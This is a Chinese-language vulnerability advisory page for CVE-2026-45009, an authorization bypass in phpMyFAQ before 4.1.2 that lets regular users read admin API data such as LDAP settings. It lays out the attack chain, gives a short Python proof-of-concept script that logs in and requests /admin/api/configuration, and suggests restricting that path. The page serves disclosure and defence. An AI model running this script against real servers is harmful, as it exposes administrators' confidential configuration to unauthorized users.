IPBUF安全漏洞报告
English
CVE-2026-45009 CVSS 4.3 中危

CVE-2026-45009 phpMyFAQ权限绕过漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45009
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
phpMyFAQ

相关标签

权限绕过信息泄露phpMyFAQ越权访问

漏洞概述

phpMyFAQ 4.1.2之前的版本在admin-api路由中存在授权不足漏洞。系统仅检查用户登录状态而未验证后端权限,导致经过身份认证的普通用户可访问管理端点。攻击者利用此漏洞可获取仪表板版本、LDAP配置、Elasticsearch统计及健康检查等敏感信息。

技术细节

该漏洞源于phpMyFAQ后端API的权限校验逻辑存在缺失。在受影响版本中,部分管理接口仅依赖于用户的登录状态来决定是否放行请求,而没有进一步验证该用户会话是否拥有管理员角色。攻击者首先需要在系统中注册或获取一个普通用户账号。一旦登录成功,系统会分配一个有效的会话Cookie。攻击者随后利用该Cookie,直接向/admin/api下的特定端点(如/version、/configuration等)发起请求。由于服务端缺失了特权检查步骤,这些请求被服务器正常处理并返回了原本仅对管理员可见的敏感配置及运行状态数据,从而造成了信息泄露。

攻击链分析

STEP 1
1. 获取凭证
攻击者在目标phpMyFAQ系统中注册或通过其他方式获取一个普通前端用户账号。
STEP 2
2. 会话建立
攻击者使用获取的普通用户凭证登录系统,服务器验证通过后建立有效的用户会话。
STEP 3
3. 构造恶意请求
攻击者利用当前会话Cookie,直接向后台管理API路由(如/admin/api/configuration)发送HTTP请求。
STEP 4
4. 权限绕过
服务端接收到请求后,仅检查了会话的有效性(即用户已登录),未检查用户是否具备管理员权限。
STEP 5
5. 信息泄露
服务器返回敏感的后台管理信息(如LDAP配置、系统版本等),攻击者成功获取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_poc(target_url, username, password): """ Proof of Concept for CVE-2026-45009 Demonstrates access to admin API endpoints as a regular user. """ session = requests.Session() # 1. Login as a normal user login_endpoint = f"{target_url}/index.php" login_payload = { "faqusername": username, "faqpassword": password } try: print("[+] Attempting to login as normal user...") response = session.post(login_endpoint, data=login_payload) if response.status_code != 200: print("[-] Login failed") return # 2. Access sensitive Admin API endpoint (e.g., configuration) # This endpoint typically requires admin privileges api_endpoint = f"{target_url}/admin/api/configuration" print(f"[+] Accessing protected endpoint: {api_endpoint}") api_response = session.get(api_endpoint) if api_response.status_code == 200: print("[+] Vulnerability confirmed! Sensitive data leaked:") print(api_response.text) else: print(f"[-] Access denied. Status code: {api_response.status_code}") except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": # Replace with actual target and credentials target = "http://localhost/phpmyfaq" user = "user" pwd = "password" check_poc(target, user, pwd)

影响范围

phpMyFAQ < 4.1.2

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器层(如Nginx或Apache)配置访问控制规则,限制对/admin/api路径的访问,仅允许受信任的管理员IP地址访问,或临时禁用相关接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表